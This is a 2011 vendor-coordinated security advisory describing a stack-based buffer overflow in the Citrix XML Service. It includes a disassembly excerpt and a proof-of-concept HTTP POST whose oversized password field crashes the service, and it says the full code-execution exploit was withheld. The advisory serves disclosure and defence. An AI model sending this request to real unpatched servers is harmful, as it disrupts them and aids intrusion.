Citrix XenApp / XenDesktop Stack-Based Buffer Overflow

n.runs AG
http://www.nruns.com/                                 security(at)nruns.com
n.runs-SA-2011.001
28-Jul-2011
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Vendor:         Citrix, http://www.citrix.com
Affected Products:      XenApp and XenDesktop
Affected Version:       See the Citrix security bulletin [2] for a list
Vulnerability:          Stack-Based Buffer Overflow in Citrix XML Service
Risk:                   HIGH
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Vendor communication:

2011/04/26 Initial notification and request for PGP key
2011/04/26 Received PGP key. Sent detailed vulnerability description
2011/04/27 Confirmed receival / request for more version/patch information
2011/05/31 Citrix requests exploit code to reproduce issue
2011/06/02 n.runs provides Citrix with PoC exploit code
2011/07/12 n.runs requests status update
2011/07/15 Confirmation that issue was identified and patches are scheduled
2011/07/27 Citrix publishes bulletin and hotfix
___________________________________________________________________________

Overview:

A stack-based buffer overflow has been found in the Citrix XML Service of
XenApp and XenDesktop which is installed on every server used for sharing
applications. Successful exploitation allows arbitrary code execution on the
server running the XML service.

The issue can be exploited with network access to the XML service interface.
But exploitation can also be performed with unauthenticated access to the
Citrix web frontend which is exposed to the Internet in many cases.

Description:

The Citrix XML Service (ctxxmls.exe) is installed on every server used for
sharing applications. This windows service listens by default on port 80 and
can receive HTTP requests. Using HTTP POST requests with a URL starting with
the path /scripts/ it is possible to send messages to so called "HTTP
Extension DLLs" which consist of XML markup.

The stack-based buffer overflow was identified in the wpnbr.dll extension
DLL when parsing the <Password> element field. This element contains the
obfuscated (CTX1 encoded) version of the password. If a plaintex password of
more than 256 characters is provided this leads to the stack-based buffer
overflow with the unicode version of the sent plaintext password in the
current thread handler:

.text:64F6053D
.text:64F6053D loc_64F6053D:
.text:64F6053D
.text:64F6053D                 push    ebx
.text:64F6053E                 push    edi
.text:64F6053F                 push    esi
.text:64F60540                 lea     ecx, [ebp+dst_buffer_struct]
.text:64F60546                 call    sub_64F6A910
.text:64F6054B                 lea     ecx, [ebp+dst_buffer_struct]
.text:64F6054B                 ; [ecx + 3c] points to the stack buffer
.text:64F6054B                 ; which gets overflowed.
.text:64F60551                 push    ecx
.text:64F60552                 lea     ecx, [ebp+var_46B8]
.text:64F60558                 mov     byte ptr [ebp+var_4], 18h
.text:64F6055C                 ; The call to parse_received_msg() leads
.text:64F6055C                 ; to the overflow of the local stack
.text:64F6055C                 ; buffer in this function!
.text:64F6055C                 call    parse_received_msg
.text:64F60561                 test    al, al
.text:64F60563

If the Citrix web frontend is configured to use the XML service for
authentication purposes this can even be exploited without direct access to
the XML service, but just by sending an appropriate HTTP request to the web
frontend which allows an attacker to easily compromise an internal system
running the XML service directly from the internet.

Proof-of-Concept:

The following sample request triggers the overflow when sent to the Citrix
XML Service and causes the described crash:

POST /scripts/wpnbr.dll HTTP/1.1
Content-Type: text/xml
Host: localhost:80
Content-Length: 1338
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">
<NFuseProtocol version="5.1">
<RequestValidateCredentials>
<Credentials>
<UserName>nruns</UserName>
<Password
encoding="ctx1">OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA
OEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAAOEAA</Password>
<Domain type="NT">TEST</Domain>
</Credentials>
</RequestValidateCredentials>
</NFuseProtocol>

n.runs successfully created a working exploit for the described
vulnerability allowing arbitrary remote code execution on the machine
running the XML service. However this exploit is not going to published.

Impact:

This vulnerability can be exploited by an attacker to gain remote code
execution on a system running the Citrix XML service. It can either be
exploited with direct network access to the XML service or even through the
use of the Citrix web frontend, when the XML service is configured to be
used for authentication.

Solution:

Citrix issued a hotfix for this issue which can be found at [2].

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Credit:
Bug found and exploit developed by Moritz Jodeit of n.runs AG.
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References:
[1] http://www.citrix.com/
[2] http://support.citrix.com/article/CTX129430

This Advisory and Upcoming Advisories:
http://www.nruns.com/security_advisory.php